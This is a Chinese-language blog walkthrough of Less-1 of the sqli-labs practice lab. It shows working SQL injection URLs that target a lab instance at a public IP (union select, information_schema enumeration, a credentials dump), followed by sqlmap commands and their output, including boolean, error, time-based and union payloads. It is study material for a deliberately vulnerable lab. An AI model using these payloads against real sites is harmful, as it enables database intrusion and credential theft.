通过sqli-labs学习sql注入

发布 : 2019-03-24

下面开始各个关卡的通关记录,下面使用的是网上有人搭建好的网站,sqli-labs一共有75个关卡,虽然现在有很多种工具可以进行注入,例如sqlmap,但是了解sql注入的原理还是很重要的,了解原理后再使用工具会更加深刻理解工具的作用,前面的关卡会写的比较详细,后面将会简略写,文中一些部分参考《MYSQL注入天书》

​ 浏览器使用的是火狐浏览器,插件Hackbar

Less-1

  • 题目地址

    将地址后面加入?id=1'提示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

推测数据库查询语句为SELECT * FROM users WHERE id='$id'

所以使用单引号闭合 并使用--+来注释后面的内容,注释的符号还有很多,这里暂时用这个。

输入http://43.247.91.228:84/Less-1/?id=1' or 1=1 --+网页显示正常,很明显存在注入。

利用order by子句进行快速猜解表中的列数

http://43.247.91.228:84/Less-1/?id=1' order by 3 --+ 改变 order by后面的值 直到3时,网页显示正常,

使用联合查询语句union查询数据库名和数据库版本

http://43.247.91.228:84/Less-1/?id=0 ' union select 1,database(),version() --+

网页显示,数据库名字为security版本5.5.44

Welcome Dhakkan Your Login name:security Your Password:5.5.44-0ubuntu0.14.04.1

  • 基础知识

mysql里默认有一个数据库名字叫information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息

SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname 的结果取之此表

COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,注释等。show columns from schemaname.tablename的结果取之此表。

构造语句查询数据库security中的表

http://43.247.91.228:84/Less-1/?id=0 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

网页显示出Welcome Dhakkan Your Login name:emails,referers,uagents,users Your Password:3

第二行为数据库中的表 ,现在开始查询users中的信息

http://43.247.91.228:84/Less-1/?id=0 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

访问后网页的内容为 Welcome Dhakkan Your Login name:id,username,password Your Password:3 第二行为users表中的列,接下来查出里面的所有数据

http://43.247.91.228:84/Less-1/?id=0 ' union select 1,group_concat(id,'-',username,'-',password),3 from users --+

访问后Welcome Dhakkan Your Login name:1-Dumb-Dumb,2-Angelina-I-kill-you,3-Dummy-p@ssword,4-secure-crappy,5-stupid-stupidity,6-superman-genious,7-batman-mob!le,8-admin-admin,9-admin1-admin1,10-admin2-admin2,11-admin3-admin3,12-dhakkan-dumbo,14-admin4-admin4 Your Password:3

所有数据就这样出来了,这是最基本的注入,没有任何过滤,所以把他放到sqlmap里面很快就能跑出来,下面简单介绍一下sqlmap

sqlmap的简单使用

Sqlmap是一种开源的渗透测试工具,是用python(python2版本)编写的,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB

SQL注入技术:boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band

枚举数据:users, password hashes, privileges, roles, databases, tables and columns

sqlmap的安装比较简单,这里根据具体题目介绍一些使用方法,环境是windows

sqlmap目录下打开cmd窗口输入python2 sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 之后窗口显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
        ___
__H__
___ ___[)]_____ ___ ___ {1.3.2.22#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:54:33 /2019-03-24/

[13:54:34] [INFO] resuming back-end DBMS 'mysql'
[13:54:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8632=8632 AND 'NMxq'='NMxq

Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7162707071,(SELECT (ELT(9426=9426,1))),0x7176767a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'EtLG'='EtLG

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'EiVL'='EiVL

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-8099' UNION ALL SELECT NULL,NULL,CONCAT(0x7162707071,0x437075536d56534d7a576a41696d66774a7448724d4455536e57534b795a4a5277654e686a744a70,0x7176767a71)-- VCgp
---
[13:54:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[13:54:34] [INFO] fetched data logged to text files under 'C:\Users....\sqlmap\output\43.247.91.228'

[*] ending @ 13:54:34 /2019-03-24/

Parameter下有四个结果,分别显示了各个注入类型和payload,说明存在注入点

之后分别输入

1
2
3
python2 sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 -D security --tables #查询所有表
python2 sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 -D security -T users --columns #查询users表中的列
python2 sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 -D security -T users --dump #爆出users表中的所有数据

最后结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Database: security
Table: users
[13 entries]
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+

结语

这次只详细写了一个关卡的通关介绍,以后所有关卡只简单写步骤,记录各种注入的方法,因为本人也刚开始学习,所以写的都是很基础的东西,主要是通过学习,记录各种注入的过程。

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/51ef88ce.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!